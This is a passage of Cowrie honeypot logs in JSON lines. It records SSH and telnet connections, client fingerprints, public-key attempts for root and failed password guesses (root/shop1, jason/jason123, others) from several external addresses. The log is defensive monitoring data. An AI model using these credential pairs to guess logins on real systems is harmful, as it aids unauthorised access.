2","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:45.500883Z","src_ip":"89.108.118.91","session":"7e83995a2947","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lerochka","message":"login attempt [root/lerochka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:45.889830Z","src_ip":"89.108.118.91","session":"7e83995a2947","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:45.943228Z","src_ip":"45.137.172.116","session":"b994ae967b3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.78323698043823,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:46.043941Z","src_ip":"152.42.224.71","session":"a2019f26aad6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:47.022012Z","src_ip":"89.108.118.91","session":"7e83995a2947","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.67.246","src_port":56734,"dst_ip":"10.17.0.5","dst_port":22,"session":"286668412c0a","protocol":"ssh","message":"New connection: 78.111.67.246:56734 (10.17.0.5:22) [session: 286668412c0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:50.056057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:50.059913Z","src_ip":"78.111.67.246","session":"286668412c0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:50.159082Z","src_ip":"78.111.67.246","session":"286668412c0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":64.2629611492157,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:50.421301Z","src_ip":"152.42.224.71","session":"c22a7856e22c","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"90:c3:d4:1d:69:fb:7e:cc:be:88:ae:b6:61:d4:11:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUuadGbMxIXmdHTCKbX8gELy7sx86a9f+H/0qHXOWZQlnq4YNYyIZ/kqPyCUfBVPxlqCdyMB7J2jnlW6m5d7rTRFOcXN1A5+GU4iuQv8QxyqOuRrjm5bB0J9O9l7qgwIoBUlJNTlFp+jd+pYfu75PNbG5M8l/QWg7v3d3ijTz6WA78orY3aKbyrHju4xGL5GrbsMhpLrQh5jthz01d4nND/Lfj/jbqf6CSA9CDBpqu/YwdX27F+39B1EdnU60a0cbxajmydOAa/q3GMl7ND+P9JKYbOYoPYXSSD1WNmCjaGPDTS9dSoLg669YIQh/bqb/g4VKURkkb/g9yuXKecb1n","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 90:c3:d4:1d:69:fb:7e:cc:be:88:ae:b6:61:d4:11:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:50.614080Z","src_ip":"78.111.67.246","session":"286668412c0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"90:c3:d4:1d:69:fb:7e:cc:be:88:ae:b6:61:d4:11:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUuadGbMxIXmdHTCKbX8gELy7sx86a9f+H/0qHXOWZQlnq4YNYyIZ/kqPyCUfBVPxlqCdyMB7J2jnlW6m5d7rTRFOcXN1A5+GU4iuQv8QxyqOuRrjm5bB0J9O9l7qgwIoBUlJNTlFp+jd+pYfu75PNbG5M8l/QWg7v3d3ijTz6WA78orY3aKbyrHju4xGL5GrbsMhpLrQh5jthz01d4nND/Lfj/jbqf6CSA9CDBpqu/YwdX27F+39B1EdnU60a0cbxajmydOAa/q3GMl7ND+P9JKYbOYoPYXSSD1WNmCjaGPDTS9dSoLg669YIQh/bqb/g4VKURkkb/g9yuXKecb1n","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:50.617488Z","src_ip":"78.111.67.246","session":"286668412c0a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:1d:27:88:a6:f9:f9:19:19:64:b3:e4:ba:ee:18:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXk/xlWnRhAR3j7GaQG25jCvQw1NqUsaQoVHL4Q/g+DoC3CpMggh19m9LHqxt7WLZ0gNqn5Mng4q+iQ9mGWraIebZ75RDWYBQ6lVqO528++5kFYhHEWLCvYZ7I0RM6PfDv0+TJWJmNMmV+Oj2dWf+4c/LdwYbhQbBAYwnFA+dLKztj+aq36oQl9tuNZAqkq6BNDd2gm81psGE+Ok+JhEifJ/UHlupYz1tLNNwtHUs+Flcpdcst6O5Ol7z6z0GF6Z41wLeZIV+f9Ns5aPTlPFyiqYfzHox5t6RMBH1z5IOV+/tzKmxCiqRVkJTzDfu6q39eksS+bLJu3diU6rwdSQZV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:1d:27:88:a6:f9:f9:19:19:64:b3:e4:ba:ee:18:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:50.713408Z","src_ip":"78.111.67.246","session":"286668412c0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:1d:27:88:a6:f9:f9:19:19:64:b3:e4:ba:ee:18:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXk/xlWnRhAR3j7GaQG25jCvQw1NqUsaQoVHL4Q/g+DoC3CpMggh19m9LHqxt7WLZ0gNqn5Mng4q+iQ9mGWraIebZ75RDWYBQ6lVqO528++5kFYhHEWLCvYZ7I0RM6PfDv0+TJWJmNMmV+Oj2dWf+4c/LdwYbhQbBAYwnFA+dLKztj+aq36oQl9tuNZAqkq6BNDd2gm81psGE+Ok+JhEifJ/UHlupYz1tLNNwtHUs+Flcpdcst6O5Ol7z6z0GF6Z41wLeZIV+f9Ns5aPTlPFyiqYfzHox5t6RMBH1z5IOV+/tzKmxCiqRVkJTzDfu6q39eksS+bLJu3diU6rwdSQZV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:50.717308Z","src_ip":"78.111.67.246","session":"286668412c0a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:96:fc:d1:2d:c7:48:a5:b0:84:f6:11:5a:ce:bb:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkGRy4oZ51QllLqRVp00FFeiCUBi1Ll7Y0QOxN+BOgvV1maphWl/+NeZcF65vgn28BHCJnoTZh4inljgY30fEiXQFZ5XOGzldX5Brt5H0uNr/KkS2t95H6fxC/Wg54EcKOS6DaooHEQ4LbEhF/ViR61SchqvIzjPCwx2a+aSilc7B9zAo04oTr+NUG/N9pa3Ac6+sD8vScNj7z8miLFyzGx0MH47sl1umzCvKLBJG2V1Of7EzspUYR1nXVawlF7yBtRHIS6bROLWnQMMqdFu4XZ6g6RZbWTHlE2DiFEk7+BTGMvO9kX3jukhkiOwELh7z1CgjDPWt5WslJw3h4QYIV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:96:fc:d1:2d:c7:48:a5:b0:84:f6:11:5a:ce:bb:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:50.813279Z","src_ip":"78.111.67.246","session":"286668412c0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:96:fc:d1:2d:c7:48:a5:b0:84:f6:11:5a:ce:bb:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkGRy4oZ51QllLqRVp00FFeiCUBi1Ll7Y0QOxN+BOgvV1maphWl/+NeZcF65vgn28BHCJnoTZh4inljgY30fEiXQFZ5XOGzldX5Brt5H0uNr/KkS2t95H6fxC/Wg54EcKOS6DaooHEQ4LbEhF/ViR61SchqvIzjPCwx2a+aSilc7B9zAo04oTr+NUG/N9pa3Ac6+sD8vScNj7z8miLFyzGx0MH47sl1umzCvKLBJG2V1Of7EzspUYR1nXVawlF7yBtRHIS6bROLWnQMMqdFu4XZ6g6RZbWTHlE2DiFEk7+BTGMvO9kX3jukhkiOwELh7z1CgjDPWt5WslJw3h4QYIV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:50.817246Z","src_ip":"78.111.67.246","session":"286668412c0a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:27:20:5f:05:3a:5f:db:b0:ab:c7:0c:42:01:ed:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUHtZACztTGs7xmGzAkl36JnMv5W3BZefh7gXPydfjgzmvEuQcsc+Sd5P4oVzxntrhN+2Ivk1wFnl91RjV48ZO4e7FGQne83b/yV4pBYUB05oXF6YN49K43HMzvUlXW6mEkf5GLh67OM/sfhb3nNc1lSgQJ2kNPkyIOouXyA1xhFTkVBuycomfAv9WD0/bAbhdxp7PJjj3u9per/OvePV9ksZaxSUgEBcF7OrpJSx5tqcbXr3wsE7hDM43m09dBiESCggNw0ihcucnSNzC5z5sd3OF3HNBXTym//fXFEM1EzRMvl5r6fOSA7qQoGfpm+tXBZWWOiYBvyW4QlCKveg3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:27:20:5f:05:3a:5f:db:b0:ab:c7:0c:42:01:ed:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:50.916565Z","src_ip":"78.111.67.246","session":"286668412c0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:27:20:5f:05:3a:5f:db:b0:ab:c7:0c:42:01:ed:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUHtZACztTGs7xmGzAkl36JnMv5W3BZefh7gXPydfjgzmvEuQcsc+Sd5P4oVzxntrhN+2Ivk1wFnl91RjV48ZO4e7FGQne83b/yV4pBYUB05oXF6YN49K43HMzvUlXW6mEkf5GLh67OM/sfhb3nNc1lSgQJ2kNPkyIOouXyA1xhFTkVBuycomfAv9WD0/bAbhdxp7PJjj3u9per/OvePV9ksZaxSUgEBcF7OrpJSx5tqcbXr3wsE7hDM43m09dBiESCggNw0ihcucnSNzC5z5sd3OF3HNBXTym//fXFEM1EzRMvl5r6fOSA7qQoGfpm+tXBZWWOiYBvyW4QlCKveg3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:50.920462Z","src_ip":"78.111.67.246","session":"286668412c0a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:e2:82:7b:a0:f4:89:ac:88:78:fa:27:21:06:b8:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjDAcMUzkUaBmv9ior9uOs5NLKa1GDHzYREL0gPM5w7BPfNCGKdEfjArCxiJ27B4U1aAkRVosQ52PR7BMYqprcZ+E5WjkHxGkUtOcVqR2Gpm/QjgYP9frtciNSO6zSJoGz/2Kk5a7uZBVrqeCBJ9ywoGTsiUFYwdcwecMcXVe45arqvVF2Ug7trX4bnlJgAcVE1wL7c8cjug0yASSpQ0eqVfnigcvQY3ao7C/A4lzQuU3yh66WccZFM7Yj1UnLd1XjAw5GsgQ4irpVHTEfAtMHVUzklwqgFO/WWyJD/2fCYpkMN63np4t3RQhiXO7P61AbsdTQOz9j+nS65ugkjy7x","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:e2:82:7b:a0:f4:89:ac:88:78:fa:27:21:06:b8:1f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:51.017000Z","src_ip":"78.111.67.246","session":"286668412c0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:e2:82:7b:a0:f4:89:ac:88:78:fa:27:21:06:b8:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjDAcMUzkUaBmv9ior9uOs5NLKa1GDHzYREL0gPM5w7BPfNCGKdEfjArCxiJ27B4U1aAkRVosQ52PR7BMYqprcZ+E5WjkHxGkUtOcVqR2Gpm/QjgYP9frtciNSO6zSJoGz/2Kk5a7uZBVrqeCBJ9ywoGTsiUFYwdcwecMcXVe45arqvVF2Ug7trX4bnlJgAcVE1wL7c8cjug0yASSpQ0eqVfnigcvQY3ao7C/A4lzQuU3yh66WccZFM7Yj1UnLd1XjAw5GsgQ4irpVHTEfAtMHVUzklwqgFO/WWyJD/2fCYpkMN63np4t3RQhiXO7P61AbsdTQOz9j+nS65ugkjy7x","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:51.021141Z","src_ip":"78.111.67.246","session":"286668412c0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:51.119097Z","src_ip":"78.111.67.246","session":"286668412c0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":48602,"dst_ip":"10.17.0.5","dst_port":22,"session":"04bd7acc1ffc","protocol":"ssh","message":"New connection: 43.135.177.217:48602 (10.17.0.5:22) [session: 04bd7acc1ffc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:51.858652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:51.863244Z","src_ip":"43.135.177.217","session":"04bd7acc1ffc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:51.931750Z","src_ip":"43.135.177.217","session":"04bd7acc1ffc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shop1","message":"login attempt [root/shop1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:52.234979Z","src_ip":"43.135.177.217","session":"04bd7acc1ffc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:53.306798Z","src_ip":"43.135.177.217","session":"04bd7acc1ffc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":60090,"dst_ip":"159.203.135.109","dst_port":22,"session":"088994b2ceec","protocol":"ssh","message":"New connection: 103.75.182.198:60090 (159.203.135.109:22) [session: 088994b2ceec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:55.863295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:55.868751Z","src_ip":"103.75.182.198","session":"088994b2ceec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:56.115583Z","src_ip":"103.75.182.198","session":"088994b2ceec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"696969","message":"login attempt [root/696969] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:56.865090Z","src_ip":"103.75.182.198","session":"088994b2ceec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.84.253","src_port":58308,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3fd14d444a5","protocol":"ssh","message":"New connection: 43.173.84.253:58308 (159.203.135.109:22) [session: c3fd14d444a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:57.769029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:57.773603Z","src_ip":"43.173.84.253","session":"c3fd14d444a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:57.842113Z","src_ip":"43.173.84.253","session":"c3fd14d444a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:58.113693Z","src_ip":"103.75.182.198","session":"088994b2ceec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jason","password":"jason123","message":"login attempt [jason/jason123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:58.148725Z","src_ip":"43.173.84.253","session":"c3fd14d444a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:59.220524Z","src_ip":"43.173.84.253","session":"c3fd14d444a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.70.247","src_port":50320,"dst_ip":"10.17.0.5","dst_port":22,"session":"71d944a50e8f","protocol":"ssh","message":"New connection: 43.153.70.247:50320 (10.17.0.5:22) [session: 71d944a50e8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:59.368007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:52:59.372107Z","src_ip":"43.153.70.247","session":"71d944a50e8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha